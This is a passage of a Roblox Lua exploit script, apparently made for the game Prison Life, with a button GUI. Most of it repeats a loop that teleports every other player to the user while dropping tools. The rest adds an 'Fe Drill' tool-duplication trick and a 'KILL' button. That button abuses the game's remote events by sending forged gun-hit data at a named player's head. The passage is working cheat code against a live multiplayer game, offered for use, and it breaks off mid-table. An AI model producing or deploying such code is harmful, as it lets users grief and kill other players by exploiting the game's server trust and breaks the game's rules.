game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)
end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character
game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)
end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)
end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then
game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
end)

drill.Name = "drill"
drill.Parent = main
drill.BackgroundColor3 = Color3.new(1, 1, 0)
drill.Position = UDim2.new(0.343317509, 0, 0.704794705, 0)
drill.Size = UDim2.new(0, 111, 0, 25)
drill.Font = Enum.Font.GothamBold
drill.Text = "Fe Drill"
drill.TextColor3 = Color3.new(0, 0, 0)
drill.TextSize = 14
drill.MouseButton1Down:connect(function()
workspace.Remote.TeamEvent:FireServer("Bright blue")

local toolamount = 80 -- How long the tornado is


local tornadosize = 1 -- The size of how big the opening of the
tornado is

local LocalPlayer = game:GetService("Players").LocalPlayer


local runservice = game:GetService("RunService")
local characters = {}
LocalPlayer.Character:FindFirstChild("Humanoid"):UnequipTools()
local currentamount = #LocalPlayer.Backpack:GetChildren()
LocalPlayer.Character.Archivable = true
local tempchar = LocalPlayer.Character:Clone()
tempchar.Parent = workspace
local savepos =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
local renderstepped = runservice.RenderStepped:Connect(function()
workspace.CurrentCamera.CameraSubject =
tempchar:FindFirstChild("Humanoid")
for _, tool in pairs(LocalPlayer.Backpack:GetChildren()) do
if tool:IsA("Tool") then
tool.Parent = LocalPlayer
end
end
LocalPlayer.Character:ClearAllChildren()
local char = Instance.new("Model", workspace)
table.insert(characters, char)
Instance.new("Humanoid", char)
LocalPlayer.Character = char
repeat runservice.RenderStepped:Wait() until
LocalPlayer.Character ~= nil
end)
repeat runservice.RenderStepped:Wait() until
#LocalPlayer:GetChildren() - 4 - currentamount >= toolamount
renderstepped:Disconnect()
repeat runservice.RenderStepped:Wait() until
LocalPlayer.Character:FindFirstChild("HumanoidRootPart") ~= nil
for _, char in pairs(characters) do
char:Destroy()
end
for index, tool in pairs(LocalPlayer:GetChildren()) do
if tool:IsA("Tool") then
tool.Parent = LocalPlayer.Backpack
tool.Handle.Massless = false
tool.Grip = CFrame.new(Vector3.new(0, -index * .1,
0)) * CFrame.Angles(math.rad(90), 0, math.tan(index * 0.5))
tool.Parent = LocalPlayer.Character
if tool.Handle:FindFirstChild("Mesh") ~= nil then
tool.Handle.Mesh:Destroy()
end
end
end
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame =
savepos
tempchar:Destroy()
end)

killplrmain.Name = "killplrmain"
killplrmain.Parent = main
killplrmain.BackgroundColor3 = Color3.new(1, 0, 1)
killplrmain.Position = UDim2.new(0.0321613066, 0, 0.836535037, 0)
killplrmain.Size = UDim2.new(0, 103, 0, 47)

killtext.Name = "killtext"
killtext.Parent = killplrmain
killtext.BackgroundColor3 = Color3.new(1, 0.666667, 1)
killtext.Position = UDim2.new(0, 0, 0.0212752968, 0)
killtext.Size = UDim2.new(0, 99, 0, 19)
killtext.Font = Enum.Font.Gotham
killtext.Text = "Player Name"
killtext.TextColor3 = Color3.new(0, 0, 0)
killtext.TextSize = 14

kill.Name = "kill"
kill.Parent = killplrmain
kill.BackgroundColor3 = Color3.new(0, 0, 0)
kill.Position = UDim2.new(0.0999999046, 0, 0.531914949, 0)
kill.Size = UDim2.new(0, 80, 0, 22)
kill.Font = Enum.Font.GothamBold
kill.Text = "KILL"
kill.TextColor3 = Color3.new(1, 1, 1)
kill.TextSize = 14
kill.MouseButton1Down:connect(function()

game.Workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["Reming
ton 870"].ITEMPICKUP)

wait(0.1)
Workspace.Remote.TeamEvent:FireServer("Medium stone grey")

local A_1 =
{
[1] =
{
["RayObject"] = Ray.new(Vector3.new(827.412415,
101.489777, 2296.84326), Vector3.new(277.738678, 6.89340925, 287.773712)),
["Distance"] = 4.7204174995422,
["Cframe"] = CFrame.new(832.049377, 101.392006,
2300.97168, 0.843892097, -0.0554918349, 0.533635378, 0, 0.994636595, 0.103430569,
-0.536512911, -0.0872842371, 0.839366019),
["Hit"] = game.Workspace[killtext.Text].Head
},
[2] =
{
["RayObject"] = Ray.new(Vector3.new(827.412415,
101.489777, 2296.84326), Vector3.new(303.047546, 21.3568707, 260.203888)),
["Distance"] = 4.8114862442017,
["Cframe"] = CFrame.new(832.390259, 101.550629,
2300.74097, 0.738044441, -0.112958886, 0.665229917, 7.45057971e-09, 0.985887885,
0.16740793, -0.674752235, -0.123554483, 0.727628946),
["Hit"] = game.Workspace[killtext.Text].Head
},
[3] =
{
["RayObject"] = Ray.new(Vector3.new(827.412415,
101.489777, 2296.84326), Vector3.new(296.800507, 7.00420141, 268.067932)),
